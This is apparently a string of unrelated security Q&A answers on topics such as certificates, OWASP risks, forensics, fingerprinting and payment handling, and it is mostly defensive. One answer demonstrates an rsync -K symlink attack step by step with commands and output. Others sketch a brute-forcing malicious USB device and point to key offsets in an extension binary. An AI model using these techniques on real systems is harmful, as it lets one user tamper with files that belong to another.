  When plugged into a device, the USB Killer rapidly charges its capacitors from the USB power lines. When the device is charged, -200VDC is discharged over the data lines of the host device. This charge/discharge cycle is repeated many times per second, until the USB Killer is removed.

Addendum: Little reflexion about Failure to detect malicious functions does not prove their absence. and comment from
user10216038:

Yes: I could imaging such malicious device:

When plugged, the cheap mouse is registered as a standard mouse device, but
They embed a strong malicious process, waiting for february 29th at 03:00 AM for

Generate a pseudo keyboard, hitting something like Ctrl+Alt+F2, then root and brute force password, for finally encrypt whole /home (even run at 3AM, brute force may take a lot of time with 3 try every 5 minutes... This may become visible) or
Generate a strong virtual network with media server who trig upnp service to send malicious drivers for pseudo media files...

  Some murderer take seconds, other take minutes, some murderer take hours, now this murderer take years!

But

All this seem very hard and expensive to create, require strongly experienced programmer (team)!
You have to use weak password (better if malicious device already know your password) or you have to enable upnp and accept automatic installation of drivers and networks.
But if you keep regular backups, saving syslogs too, and use read-only devices on critical hosts, with remote syslog,

at time the malicious process begin, they will be logged anyway and I think they will have poor chance to harm correctly protected system.

So yes this could be an issue, but very expensive for targeting home desktop without regular protections, with a very small chance to success.

Again and again

Keep your backups up to date, on many different devices! (Make tests and verification against your backups)
Don't use weak password!!!
Disable automatic services like upnp on sensible hosts!


It is absolutely possible. There was a publicized case of this in a Xbox ad that demonstrated the voice activation features that seemed to have worked a bit too well.

Some quick-and-dirty remedies for this are:

Allowing users to program their own initiation phrase. This isn't perfect as the radio can still "get lucky" and hit the initiation phrase, causing an accidental triggering. Also, there's a time window between when you've initiated Siri and issued a command where the radio can talk to Siri.
Requiring confirmation for some/all actions. Unless the confirmation is physical, there is still an opportunity for the radio to confirm the task as well.

I guess the best solution would be for Siri to be able to distinguish your voice from the voices of others. That seems trickier though as, according to my understanding of the implementations, the initiation phrase (eg: "Hey Siri") is recognized locally by the phone while the full voice recognition utilizes cloud computing resources and the phone's local power is limited by CPU and battery.

I suspect that all that is needed is one successful attack for vendors like Siri and Android to come up with better defenses.


Unauthorized access to a page - when or if you should return 401 HTTP status code

Sounds like you mean 403 forbidden, not 401 unauthorized (since you say authorized access, not authentication). This source explains it in better detail: Daniel Irvine

401 Unauthorized, the HTTP status code for authentication errors. And that’s just it: it’s for authentication, not authorization. Receiving a 401 response is the server telling you, “you aren’t authenticated–either not authenticated at all or authenticated incorrectly–but please reauthenticate and try again.” To help you out, it will always include a WWW-Authenticate header that describes how to authenticate.
Receiving a 403 response is the server telling you, “I’m sorry. I know who you are–I believe who you say you are–but you just don’t have permission to access this resource. Maybe if you ask the system administrator nicely, you’ll get permission. But please don’t bother me again until your predicament changes.”

I've never heard of a 401/403 status code being bad practice. In non-attack scenarios, it serves the important function of letting a user know that they need to request a privilege upgrade or go to somebody with higher privileges to complete some task. In many of these cases a user needs to know that the resource exists.
It does reveal to attackers that a resource does exist, potentially enlarging the attack surface of your app. However if you're depending on an attacker not knowing about a resource to keep it safe, you should probably improve the defenses around it instead. The usability advantages outweigh the slight security disadvantages.


Files deleted by some Employee . How to find what time it happened and whether done from another computer on network?

First of all, in such cases stop using the network drive. Deleted files are not immediately lost but just marked as "this space can be reused". If no need of additional space presents itself, a file may be fully recoverable years later. On the other hand, if a new file needs to be created and requires space, the deleted file area might be overwritten after a few seconds.

So, the less you write to the drive, the better.

The first line of defense should have been a full, adequate and updated backup. A file is deleted -- you just laugh it off and recover the file from the repository.

Second line of defense, before blaming someone's malice, be sure to rule out inexperience and clumsiness. The file might have been unwittingly dragged and dropped on a nearby folder by someone trying to open it with a double click. Weird, but I've seen that happen. So first of all, unless you already tried, try running a search for the file name in the whole drive.

As a last stand, if the file was indeed deleted, recovery depends on the file system on the network drive, while logging capability depends on its operating system.

For example: if the network drive is on a Windows system, NTFS - if you were sharing a folder in your own computer - then you might be able to easily recover the file using Recuva or any of several "undelete" utilities. If you're in luck, the Shadow Copy facility is activated and you will be able to directly access "Previous versions of this directory" from the Explorer interface on the server (you can't do that from the network, AFAIK).

On these systems, though, it is unlikely that logging facilities are running, especially with the level of detail you would need to have a culprit.

If it is a Linux system, recovery is usually more difficult (you'll need an ext* undelete tool - assuming the filesystem is EXT3/EXT4; undelete support for EXT3/4 is more complicated than in NTFS), but chances are that the file sharing system is Samba and both access times and maybe even operations (logged on a per-workstation basis) are available in the Samba logs. Here for example is a connection from my PC to my home server some time ago:

zotac (::ffff:192.168.4.24) connect to service public initially as user
lserni (uid=1000, gid=100) (pid 11642) [2012/05/03 17:20:07.499617,  1]

The workstation name (zotac), its IP address and the username are all logged. It is possible, but not the default since log files tend to grow huge, to log file-level operations (create, rename, delete).

Other possibilities are trying to locate old versions of the file, and verifying that the employee - if he did the deed with malice and forethought - has accessed or copied the file on his own workstation (just check Recent Files and Documents). I witnessed a case where an employee had copied the whole customers' archive on a USB key before attempting to overwrite the master database on the server. It was never clear whether he intended to hold the database for ransom, or he maybe planned to sell it to some competitor (in the end the PTB agreed on a "good faith mistake" and "let" the employee resign for reasons of health).


Customize an Intrusion Detection System for serial communication

After some research we have found several interesting solutions, here are three papers that I found most relevant:

Anagram: A Content Anomaly Detector Resistant to Mimicry Attack by Wang et al. They construct a content anomaly detector called Anagram. Anagrams works by analyzing byte sequences using distinct n-grams to learn itself signatures of valid packets. According to the authors it has high accuracy and low false positive rates. Also, it can operate at high-speed making it useful for network intrusion detection. Since it is anomaly-based it has a greater chance of detecting zero-day exploits. And, because it is self-learning, it does not require a lot of attention from the supervisor.

Another interesting paper is Anomalous payload-based network intrusion detection by Wang et al. It is also fully automatic and can be runned unsupervised. As with other Anomaly-based IDS they have a training phase in which the system learn the frequency and standard deviation of the payload. This solution has also a high detection rate, near 100%, and a very low false positive rate.

The paper found in this answer https://security.stackexchange.com/a/24553/53067 has also been helpful.

None of the solutions above address serial communication. However, operating on byte level communication, we believe a similar solution can be applied on, for example: RS485 or CAN.


It is not clear what is exactly in the files but might guess from the names:

X509Cert - probably the leaf certificate, i.e. the server certificate
interCert - probably the intermediate certificates
rootCert - the root certificate which should not be included in the server configuration. If this is no public root CA it have to be installed as trusted on the TLS client instead
PKCS7Cert - a container with probably all of these together in PKCS#7 format. See also What's the difference between X.509 and PKCS#7 Certificate?

  I'm guessing one is a private key

Probably not. The private key is usually created by the one requesting the certificate and kept private. Thus if you created a certificate signing request and got these files in response you should already have your private key. If not they might have included the key in the X509Cert file and/or the PKCS7Cert.

  I got it through the company IT department, they didn't give me any documentation, just those files.

I'm not sure how processes in your company work. But where I work the usual procedure is to ask the ones you got the files from on what to do with the files.


What vulnerabilities in the OWASP Top 10 are relevant to WordPress?

Well. Most of them can, depending on what you do and how your server is configured, apply to WordPress (or any other CMS software really).

  A1-Injection

Of course injection (not necessarily just SQLi) is always a possibility.

  A2-Cross Site Scripting (XSS)

If there's user supplied data and its echoed back, its probably been vulnerable at some point

  A3-Broken Authentication and Session Management

There's an admin console to log into, maybe its got poor session management?

  A4-Insecure Direct Object References

Can you access any files (like a database file for example) directly?

  A5-Cross Site Request Forgery (CSRF)

Can you trick users into accidentally doing things they didn't intend on your site?

  A6-Security Misconfiguration

What options are available in WP? If you don't set them correctly will it reduce your overall security?

  A7-Insecure Cryptographic Storage

Is WP storing credentials securely? Hashing passwords using something that isn't unsalted MD5?

  A8-Failure to Restrict URL Access

Should the public be able to access the admin console URL? Can they access admin pages directly without logging in first?

  A9-Insufficient Transport Layer Protection

Do you have SSL/TLS enabled? This isn't so much a WP thing so much as a general security best practice.

  A10-Unvalidated Redirects and Forwards

Can attackers trick WP users into being redirected to malicious sites?

The following types of vulnerabilities have been, at some point, confirmed to have existed in WordPress software:
Denial of Service, XSS, Information Leakage, Privilege Escalation, Code Execution, SQLi, Unauthenticated Bypassing to access files, XSRF and Directory Traversal.
Source: CVEDetails

Hope that helps!


Forgetting passwords typed in too frequently

A method can be to subvocalize the password when you type it; that is, you go through the physiological motions of spelling it, letter by letter, except that you don't open your mouth or move your lips while doing so. You just fool your brain into thinking that it did it. The point here is to store an "extra copy" of the password in your brain: you will have it as "muscle memory" but also in your speech module.

(Subvocalizing can be an impediment -- some people cannot read without subvocalizing, and that makes them slow readers, which is inconvenient for studies which involves reading a lot, such as physicians and historians; this is not correlated with intelligence. However, in this case, controlled subvocalizing can help.)

Or simply write it down on a paper that you keep in your wallet; you already maintain strong physical security on your wallet. Even the famous Chuck Norris impersonator recommends it.


You are correct on the use of the -K option.  But the exploit is about having different users performing the link creation and running rsync.  Let's first see some rsync -K in action.  Make some test dirs:

[me] $ mkdir a b c b/from b/from/mydir c/to
[me] $ touch a/bar
[me] $ touch b/from/mydir/foo

And run the plain rsync

[me] $ rsync -avK b/from/ c/to
sending incremental file list
./
mydir/
mydir/foo

sent 135 bytes  received 39 bytes  348.00 bytes/sec
total size is 0  speedup is 0.00
[me] $ find c/to/
c/to/
c/to/mydir
c/to/mydir/foo

And let's clean c before a new test:

[me] $ rm -rf c/to
[me] $ mkdir c/to

Now, imagine that I give some other user the rights to write into c/to and b/from.  To make things simple let's say that the following chgrp will allow a bunch of people to write in there:

[me] $ chgrp -R students c/to b/from

And a clever student performs this:

[student] $ ln -s ../../a c/to/student_dir
[student] $ mkdir b/from/student_dir
[student] $ echo 1337 > b/from/student_dir/bar

The next morning I run rsync and:

[me] $ rsync -avK b/from/ c/to/
sending incremental file list
./
student_dir/
student_dir/bar

Ouch! My file inside a that I never gave permission to anyone to modify has changed:

[me] $ cat a/bar
1337

And, since rsync is commonly used for repetitive tasks such as cron jobs there is a good chance that this would even go unnoticed.

In simple words the exploit can be argued to be that: a user that has access to the sender (from) and receiver (to) sides of a recurrent rsync job acquires the privileges of the user running the rsync job.

Don't run rsync -K as root!


How is an SSH public key fingerprint calculated?

Unfortunately you did not show the full code, i.e. did not make clear where plaintext in your code comes from. My guess is that you did not decode the base64 encoded public key first but just fed the encoded key directly into the digest. The following works for me:

b64pubkey='AAAAB3Nz....'  # base64 encoded public key
sha256 = hashlib.sha256()
sha256.update(base64.b64decode(b64pubkey))
hash_sha256 = sha256.digest()
print(base64.b64encode(hash_sha256))


Usage of self-signed certificates for Client authentication

[This is a re-write of the question addressing the update. See the original in the revision history]

TLS client auth is something that almost always requires you to extend your TLS engine by writing your own cert custom validation code on the server-end. It seems like you've avoided this by piggy-backing on the trust-store with no additional validation code.

The key question is:

  When your servers are verifying the client certificate, how do they know that it's a cert issued by you, and not a cert issued by a bad-guy?.

You say:

  We are importing the relevant Client certificates into the Server trust store / whitelist.

This might be ok security-wise. The first question to ask is what else is in the Server trust store, and if it will accept connections from certs other than the ones you whitelisted. Are we talking about the OS trust store containing all the publicly trusted root CAs, or is this a custom java trust store that is empty prior to you inserting your whitelist? For example, if the public CA Let's Encrypt is in the trust store, then anybody with a Let's Encrypt cert might be able to get a connection to your server.

Basically, you want to convince yourself that the self-signed certs you created are the only certs that will be able to establish a connection to the server. I have seen products that work this way, so it's not entirely far-fetched, and proper security is possible, however there are a few other things to think about. Let's first talk about the usual way this is set up, then I'll compare.

Usually, the way client-auth works in a situation like this is one of two ways:

Private CA

You have a private CA that you control. It only issues certificates for valid TLS clients. Therefore the TLS server can simply verify that the client presents a cert issued by this CA, and you know that it is authentic.

Public CA

Your clients get certificates from a publicly-trusted CA like Let's Encrypt. Suddenly, just checking that the cert was issued by Let's Encrypt is not good enough because half the internet has a cert like that, so that doesn't prove anything. Here, you want your "TLS server" to keep a whitelist of domain names of the "TLS clients". When validating a client cert, in addition to all the usual validity checking, it should that the DN in the cert matches a domain name on its whitelist.

Comparison of cert-whitelisting vs CA whitelisting

Revocation: Normally, as part of validating a cert, a TLS engine can be configured to check with the CA to ensure that a cert is not revoked. If one of your client servers is compromised, you can easily revoke the cert at the CA, and all subsequent connections from that cert will be rejected. In a cert-whitelisting model, you can still do this by removing the cert from the trust store. A bit more manual, but equally possible. Since this is non-standard, make sure you have a documented procedure for doing it.
Manual and error-prone: With a CA setup, you just need to import the CA cert once into the TLS endpoint, then you can issue / revoke as many certs as you like and the TLS endpoints will immediately start accepting / rejecting them appropriately with no additional config. With your setup, you will need to manually modify the trust store of the TLS Server every time you want to stand up or decommission a TLS Client machine. Avoiding the CA setup may seem like less work now, but think about the extra work over the long-term, and the added risk of a sysadmin down the line not really understanding how this non-standard thing works and blowing open the security - for example by adding a publicly-trusted CA to the Server's trust store without realizing the implications. Again, possible, but make sure you document procedures very carefully.

Summary

The security goal you want is that your TLS Clients (and only your TLS clients) can establish connections to your TLS Server(s). You can certainly accomplish this with the system you described. The initial setup will be simpler, but I predict that over the long-term the additional operational complexity will come back to bite you, either in terms of additional time and effort, or when it hasn't needed to be modified in so long that nobody remembers how it works. Make sure you prepare thorough documentation on how it works!


How can you change "system fonts" in Firefox (to increase own safety & privacy)?

On Firefox, you may want to try the Random Agent Spoofer addon.

IMHO, this module is poorly named, probably for historical reasons, since the agent spoofing feature is completely optional and maybe not even the most interesting one.

This module should be merely seen as an anti-tracking module, gathering both specific features and Firefox tracking-related settings in a single place (including so-called "advanced" settings, like disabling WebRTC). Most Panopticlick tracking criteria can be found in its settings.

The list of available fonts can be restricted by setting Options > Standard options > Limit detectable fonts. Setting this option may however slightly alter website's look, but this should not have any major impact on usability.

While you are here, I also recommend to try disabling canvas support (Options > Script injection options > Disable canvas support) as this should tremendously improve your Panopticlick score. I'm using this since several months without noticing any impact of this setting, but YMMV.

Regarding the actual agent spoofing feature, I'm not very happy how this was implemented by this module. If you are on Windows, I would recommend letting this disabled. If you are on another OS, you may want to try to show yourself as the same Firefox version but on Windows (sadly you will have to manually select the version and manually change it after updates, that's precisely why I think this feature could be improved).

I do not recommend using randomly changing User-Agents (or even worse randomly changing screen sizes) or simulating a different browser than Firefox (as long as tracking is concerned, this may be useful for other purposes). This may be counter-productive: the goal of anti-tracking is not to make you randomly changing, as this will make you stand-out, the goal is on the contrary to blend in by looking similar to the crowd.

Do not hesitate to rely on Panopticlick's breakdown (the Show full results for fingerprinting link appearing at the end of the analysis) to determine which technique allows to most uniquely identify you. The most effective techniques will be the one you may want to address first, until you get to a reasonable privacy level.

While you play with this module, be aware that some settings may impair usability, or even break some websites. Nothing to be wary of, but just keep this in mind when you face some issues while browsing: check your own settings before blaming the website developer ;) !

Note:

Please note that I used the term reasonable privacy level, and nothing like "perfect" or "full" privacy: there is no way to be perfectly untrackable.

On a standard browser, you usually see in the "one in x browsers have this value" column from Panopticlick result details values reaching (tens of) thousands, which means that the corresponding technique alone statistically allows to uniquely identify your computer in large sets: these are the values you need to avoid since they are basically just candy for trackers.

Given the number of different hardware, operating systems, browsers, settings and versions out there, you cannot reasonably expect values below a few dozens.

If the reason behind this is not clear to you: imagine you are with two other users, a Mac user and a Windows user, which system should you impersonate so a tracking engine could mistake you for both?

This is just impossible: they are different, you cannot be equal to both. Say you are a Linux user, a third OS type, instead showing up as such show yourself as a Windows user: a tracker will still be able to distinguish you from the Mac user (hence the bits of identifying information will never be zero), but it will not be able to distinguish you (using this technique) from the Windows user (hence a lower value than if you showed up as the only Linux machine in this set of three).

The more diversity, the more identifiable become you browser without any chance to become "like everybody else". That's why on the Tor network it is recommended to not modify the Tor browser settings, in order to keep this diversity as low as possible and therefore making tracking as hard as possible.


Payment gateway integration, any security considerations?

Never store the credit card details: number, ccv, exp, etc.  There is rarely a situation where you need them.  Instead just store the response code and reference number from your gateway.  Those are sufficient to issue refunds from when necessary.

Okay, from your comments you are using PayPal.

Paypal has several different gateways, I'm going to assume it's the PayFlow Pro one.

First, as stated above, do NOT store the credit card information locally.  Simply accept it the post from the user and immediately send the data using PayPal's API.  Once you get the response, keep the transaction ID and store that.

Under no circumstance should you "log" the credit card information.  Logs can be hacked and you don't want that liability.

In the event you are allowing the end user to set them selves up for recurring payments, still DON'T STORE THE CC INFO.  The paypal API can handle this and will give you the relevant transaction ID's to keep for future reference.

Next, review the paypal documentation for their best practices.

Finally, don't store the credit card number.  Not even part of it.  You do NOT need a "remember my payment details" button.  Those are a very bad idea and scream "target" to hackers.

Okay, now what should you do?  First, read the PCI compliance literature.  Second, read OWASP literature.  Third, build your site and secure it.  Fourth, hire a third party company to do a security audit.  Fifth, fix whatever it is they found and have them do another audit.  Repeat until your site is considered "secure" by someone other than you.  Preferably someone with experience doing audits.  It won't be cheap.  If it is, then you've hired the wrong company.

Ongoing, keep up with your windows and gateway updates.  If paypal sends out a new API, check it out, update your code and deploy.

Every time MS sends an update, apply it.  Don't wait, just do it.  If something breaks, fix it then.  Anymore by the time MS or another vendor issues a patch there is almost always an exploit deployed within a day or two for that patch.  Sometimes the exploit was already out there.


A neighbor is using a WEP encrypted router, should I inform them of the security risk?

To be honest, I find that most people don't / won't care.

Unless they are running a business or similar functionality over the network I wouldn't bother explaining the difference between WEP and WPA2 to them, especially since they might not be tech savvy and just get more confused or worried about it.

At least they are using SOME security. I have been to many stores where they just plug in their router (Linksys for example) and don't secure it at all. THAT would be something worth bringing up, especially if that's the network they use for their POS system (like a card reader)!

I doubt there is anything illegal about telling someone their security isn't the best. Unless you broke into their system to find that out :P

TL;DR:
If it's a home router for a private network it isn't worth the effort.

EDIT:

I think this might be a good example for something I heard quite a lot in my Net Sec Classes:

Time & Money vs. Risk Factor

In bigger companies these type of decisions have to be made every day, and there are always two groups.

Us, the Security people. Of course in our perspective this Wifi should be made as secure as possible because 'technically' someone could easily breach it and use the internet access to blame any illegal activity on the owner of that network. We should always keep such a 'worst case scenario' in mind.
People like 'Upper Management', or in this case the owner of the WiFi. They probably aren't very involved with Cyber Security and don't care much for it as long as their internet is working.

Our job is to compromise and figure out if it's worth it to 'invest' into this security issue. At a bigger company this investment would mean Time & Money and the required manpower. You might need to take some time to explain and demonstrate the security risk of having a low security protocol to your neighbors. This could range from a quick 5 minute conversation up to 2 hours of you trying to explain networking terms to someone who has not much of an IT background.

One way to find out if this investment is worth it is deciding the Risk Factor.

How likely are your neighbors to be victims of a network breach?

If you live in a crowded place like Manhattan NYC for example, you should most definitely secure your WiFi as much as possible, the risk of someone scanning the area for easy-to-breach targets is higher in such a populated area. If you live in a suburban area, far from downtown, the risk is relatively low.

Now this might seem a bit overkill for such a simple problem, but try to relate it to a company deciding weather or not they need another piece of software which could be thousands of dollars in license fees and hundreds of man-hours for installation & support.


Why does the government/military not use special operating systems?

There are a number of reasons why building their "own OS" is not a viable option.

1. Research Cost

To built a new OS, from ground up without the use of any existing code would require significant research. Even today, there are only four or five popularly used kernels like Unix , Linux kernel, BSD, XNU and Windows NT.

2. Security through obscurity

It's a proven concept that security through obscurity rarely helps. Yes, it's a new OS so no "hacker" knows how it works, but it is a fact that overtime information about it will be revealed through ex or disgruntled employees. Maybe even through the researchers themselves.

Being a "custom" OS, it will have security issues of their own and no one apart from the original researchers would be able to identify or fix them.

3. COST, COST and COST

Even if such a OS was made, to patch various issues a dedicated maintenance team would have to be kept. You'd additionally need to tailor defensive software, etc to work perfectly on that machine. Any vulnerabilities in that software if emulated would just pass on. In order to make custom software, the OS specifications would have be disclosed, thus we'd need to make custom office software, mail clients, etc.

Ultimately, it's just not viable to make an OS system and use it solely for defense. As I've said earlier security through obstructed rarely helps security, it just makes it more "time-consuming-ly" difficult, but at the end of the day, the cost outweighs the benefits largely.


Both server and client know something secret, thus they can trust that there communication isn't being altered in route.  Effectively, using a connection via the shared key between them is like using SSL without the hand shake.  Normally SSL would use asymmetric cryptography to a) validate one or more parties in the communication and b) establish a shared key for communication.

You, however, are able to establish the trust in part a prior to releasing the device since both are in your possession.  Provided the key on the device is not compromised (which is the primary weakness depending on usage) then if a device is able to communicate in a way that decrypts, correctly, the message originated from the device.  So thus you only have to worry about replay attacks, but any simple mechanism could stop that (for example a counter or timestamp to avoid reuse or use of an older message than the current one.)


How do I protect my Gmail account when accessing it via an Android smartphone?

You could set screen locking (pattern or password) which will, IMHO, at least slow 'attacker' enough that you can notice missing phone and then remotely erase it, remove keys or whatsoever.


If you boot up a Linux system from a Live CD, the OS will see a local filesystem, but it will be RAM-based. Logs will go to that filesystem, and disappear for good when you switch the power off.

Many existing Linux distributions offer Live CD, e.g. Debian.

(We say "live CD" but most Live CD can physically reside on USB flash drives, for the same final effect: the medium is used only for reading, not for writing, so any writing which happens at all goes to the RAM and is not kept beyond a power-down or a simple reboot.)


Is OWASP ESAPI still the recommended way to secure JSP pages

The OWASP ESAPI is no longer considered a flagship or even an active project. Kevin Wall, the project owner for the Java implementation, himself back in 2014 conceded that the project is dying and said:

  I’m not, because I can’t. I, for one, can see the writing on the wall.
  (Pun intended.) All of the allegations that are being made against
  ESAPI are spot-on:

  · Only one minor point release in since
  July 2011.

  · 164 open issues, including 4 marked Critical and
  11 marked as High.

  · Far too many dependencies, something that
  has never been addressed despite being promised for almost 3 years.

  · Wiki page still in the old OWASP format.

  · Minimal signs of
  life of for ESAPI 3.0 in GitHub and ESAPI 2.x for Java on Google Code.
  Zero signs of life for implementations in other programming languages.
  [Note: Discounting the SalesForce one as I’ve not kept track of it.]

  · For ESAPI for Java, a boogered up architecture where everything is a
  singleton making some things such as mock-testing all but impossible.
  Less than 80% test code coverage, in part, because of that.

  · Lack of any significant user documentation outside of the Javadoc and
  the ESAPI crypto documentation.

  · Disappointing participation
  at the ESAPI Hackathon.


A more common term for this is "parameterized SQL".  You are still taking user data, as you pointed out, but the security lies in the fact that the application knows what is data, and what is executable.

When you build a SQL statement as a string and pass it in it's completed entirety to the database, the application simply has to trust that the SQL command being executed is what you intended, and has not be maliciously modified by user data during construction.

When the user data is passed in separately from the SQL statement as parameters and parameter values, the SQL command can't be directly modified by user input...It's separate.  The application can tell absolutely what is supposed to be executable, and that nothing in the parameter values should be...It's all data, and only data.


What kind of misconfiguration may lead to publicly accessible webserver logs?

There are quite a few possibilities:

Someone has changed the log storage directory through a .htaccess or similar configuration file, and the new location is unintentionally within the web root (e.g. they put var/log/apache instead of /var/log/apache as the target)
The system has been set up like this with the intention of an IP block preventing access to the folder, and the IP block has been forgotten or disabled
An alias has been put in place, in a similar way to the /manual default alias in Apache HTTPd (see Google for many examples)
There is an automated log analysis program running which exposes the log data in some way, and no protection has been implemented for this

Essentially, people are endlessly creative when it comes to making mistakes, and log file access is no exception to that!


Security in the breaking cloud? Storage Wars?

The short answer is that when you put your data on the cloud the provider has the technical capability to do what they want with it. They could sell it, trade it, share it, etc. What is keeping them from doing just that is a) the terms of service or contract agreed (read it to make sure they don't have rights to your data as some claim rights over anything you upload), b) law - although in most places the law is ambiguous and/or missing on this point, and c) public opinion, see instagram's recent fail on this issue.

In most cloud services agreements (at least consumer ones) there is a clause saying that the provider can change the terms of service at any time, so they could theoretically decide to claim ownership to all data and then sell it to the highest bidder. Few companies will go down that route as it guarantees that nobody will ever use their services again, however if a company went out of business it's possible that method could be used by the administrator to make the most out of the failed company's assets.

So do you have any semblance of control of your data in the cloud? Absolutely not, unless you control something about the data. If you encrypt the data at source using an independent utility and then store the encrypted files on the internet you can prevent its misuse, otherwise you just have to accept the trade-off of flexibility versus control.


Server certificate terminates in removed CA certificate, still works?

Why is OpenSSL showing different results from Chrome?

OpenSSL is showing the certificate chain send by the server. Chrome is showing the chain used for validation. Since there is a self-signed CA certificate for GeoTrust Global CA which uses the same key as the one signed by Equifax the Equifax CA certificate is no longer needed to verify the chain.

This self-signed CA certificate for GeoTrust Global CA is also contained in the current versions of the ca-certificates package so that the Equifax is no longer needed by current OpenSSL versions to validate the chain. There was a bug though with older OpenSSL versions where it failed to validate the chain if the Equifax signed CA was included in the chain but the Equifax CA was not in the trust store. See Python Requests SSL Verification.

  Why is OpenSSL (apparently) still trusting a removed CA certificate?

It does not. It trusts instead the GeoTrust Global CA included in the trust store and ignores the Equifax issued chain certificate (which has the same key).

  How do I check that the certificates shown by OpenSSL/GnuTLS/etc. map to the relevant files in /etc/ssl/certs

I'm not sure what you mean with "map". But you can make s_client show you all the certificates with the -showcerts and then check if exact these certificates are included in your trust store (i.e. string comparison). If you want instead to check if a specific certificate chain can be verified  with your trust store use openssl verify -CAfile ca-certificates.pem -untrusted chain-certs.pem leaf-cert.pem. See also Use openssl to individually verify components of a certificate chain.


Azure Key Vault vs Azure Environment Variables - Which is the right way?

However in the case of a simple web app I don't see the benefit of using environment variables which can be configured in the portal.

I have not used Azure Key Vault, but it appears that the client application never actually sees the master key:

  When a SaaS application needs to perform cryptographic operations by
  using their customers’ keys, Key Vault does this on behalf of the
  application. The application does not see the customers’ keys.

If the application is compromised then in both scenarios the attacker can decrypt whatever they want. However, if the application (and therefore the attacker) never has direct access to the keys then once the attacker loses access they can no longer decrypt any further data. This protects future data, and data which the attacker wasn't able to decrypt before losing access from being compromised.

If the master key was simply in an environment variable and the attacker compromised it, then even if you completely revoked their access they could continue to decrypt data they originally stole.

An additional benefit is that presumably every decryption operation is logged, so you can more easily audit the scope of the data which was compromised. However, if the attacker had direct access to the key then they could decrypt it offline and you'd never know what was and wasn't compromised.


Any solution to passing a penetration test for an outdated php web application without upgrading the application?

Upgrading and re-writing some of the code will be the most secure way to address vulnerabilities. Depending on how your application is being accessed you could look at a few different perspectives.

If this is accessed externally on the Internet, I would assume that the users would be within a specific geographic scope. Ex. Site in Florida for a local company with local products. You could block all International traffic since it would not be needed.

If it's an internal intranet application then just monitor the network for anyone doing anything fishy.

If it's on the Internet with International exposure as a requirement, keep everything updated and patched because you are going to get scanned.


Now that CloudFlare offers potentially-insecure free SSL to all users, would a new HTTP header be useful?

This is part of why you check who the SSL cert is from.  If it isn't the site you are trying to access, get the hell out of dodge.  If cloudssl is using a root certificate in an insecure way, such as generating certs for each site on demand, then people can simply reject the authorization of that root certificate.  Problem solved.

A new http header for this is not helpful, is overkill and would still be open to abuse as nothing guarantees that someone would properly set it.  The same level of detail could just as easily be included in the certificate itself without need for new headers.


After for little research, I can say this extension is not safe because I can simply extract the main key in clear text format by using any type of HEX editor. Hash function is NOT important any more.

Linux:

Offset: 0x00003158
Using xxd

Windows: Unable to compile but believe the develop team using default password 0123456789abcdef0123456789abcdef

Offset: 0x0000355C
Using Hex Workshop


Scrypt has mostly survived. It is not bad; it just turns out that the touted advantages of scrypt over the competition (mainly bcrypt and PBKDF2) might not be as marvellous as first claimed. As always, it is a trade-off: like any password hashing function, its role is to make password hashing expensive for everybody, attackers and defenders alike. Scrypt uses a lot of RAM in order to force the attacker to use the same hardware as the defender (a PC). The bad point, though, is that it uses a lot of RAM.

See this presentation for some information on the present of password hashing. An open competition is being run, to obtain, publish and analyse new and hopefully better functions (currently in the phase of gathering candidates).


The main difference between GET and POST requests is that in GET requests a third person can see the information passed to the application just by viewing the url, something that doesn't happen with POST requests. This is why it's considered better and safer to use POST instead of GET http-method for sensitive data.

Have in mind though, that from a security perspective if someone by any mean manage to execute successfully e.g. a MITM attack to the network, he will be able to retrieve not only GET but also POST parameters/data, so make sure that when you pass sensitive data to your application - you pass them encrypted - so https combined with HSTS in this case plays a very important role to protect your application and clients from remote attackers.

Now about what's considered sensitive data? I'm not a lawer, but I believe that sensitive are the data that should be protected by any unauthorised access. Also that depends on the application. For example facebook allows authenticated users to view some of your information (if you set your settings to do so) - so in this case it's up to the user to select what to share and what to keep private (of course some things must be kept private, like passwords, social security numbers, credit card numbers etc...).

Also if some of the user's information are used by the application's functionality and must be passed to the application frequently (e.g. user's email for authentication) but they don't need to be visible then it's better to hide them and when needed pass them to your application using POST instead of GET. In this way you can prevent (or at least discourage) some kind of attacks like brute-force attacks. Imagine that the complexity of such an attack reduces from O(n^2) to O(n) when the attacker knows either the username or the password and doesn't have to guess the correct combination.


How to stop revealing web directories in ASP.Net MVC

It's a typical scenario with .NET MVC - search-engine friendly URLs are a direct result of proper implementation. But let's have something clear - these are not web directories, but MVC routes, right?

Paranoid pen-testers are often uncomfortable when the admin interface is somehow exposed in the URL, since it can attract unwanted attention, or be harvested and used for fuzzing.

If you want to improve on this, you may need to abuse the ASP.NET routing engine to obfuscate the path, if their concern is that the admin interface is "exposed" - that would be a quick fix, but obfuscation is never the correct way of fixing things.

An alternative is to use a resource manager and routing is based on resource tokens, but that would involve heavy modifications to the application. Each resource has its own resource token ID, and can be dynamically generated when a user logs in. Then every resource (page, style, image) is a link to the resource manager. Then getting a stylesheet will look like:

<link rel="stylesheet" type="text/css" href="/Resource/80af9420ab0401-00291844a/91009abff01">

The same applies to the URLs. This may result in a lot of overhead and poor performance, poor scalability, etc. I do not recommend it, but these days management just listens to whatever external "consultants" they're paying to, and refuses to acknowledge internal talent.

Unfortunately, sometimes it's a question of compromise - security should not be a result of poor scalability or performance...


What are the advantages and disadvantages of using a HackRF One compared to specific protocol sniffers?

From sniffing POV, HackRF One as well as many other SDRs give you radio wave processing capabilities. This means that you can tune to a wide band of frequencies and capture the signal. What you do with it then is generally beyond the SDR's scope.

You can always try to process the signal yourself (e.g. with GnuRadio) and write a decoder the data packets for the corresponding protocol (or use Wireshark if the decoder is already available). With the popularity of HackRF One there are often solutions available to work from, e.g. this Z-Wave tool claims to support it by default.

I have no hands-on experience with protocol-specific sniffers (sb. correct me), but I would expect them to provide the promised feature with little effort, while locking you from easily doing anything unsupported (e.g. capturing new/tweaked version of the protocol or tuning to different frequency than usual).


On Mozilla's Add-ons site (AMO) what is happening with external links?

The use of redirection pages can be for multiple reasons.

Issue a warning to the user that the pages is leading outside the original site network (legal requirements sometime)
Counting the usage of outgoing links
Filtering of addresses
Data scrapping

(this list is not exhaustive)

The first could be seen as a security measure, which makes the user aware of potential deceptions. Three can also be a security measure, but I don't thing that is usually done.


Can Haveged help increasing entropy and make PRNG unpredictable (close to TRNG) on embedded Linux based headless device?

Just use /dev/random normally.

/dev/urandom in its default state is more than sufficient for all security purposes, unless you require strong random numbers in an early-boot environment on a small embedded device. In such a case your embedded device requires a hardware random number generator (HRNG) to improve early-boot entropy. This is a physical restriction of information entropy rather than an implementation issue within Linux.

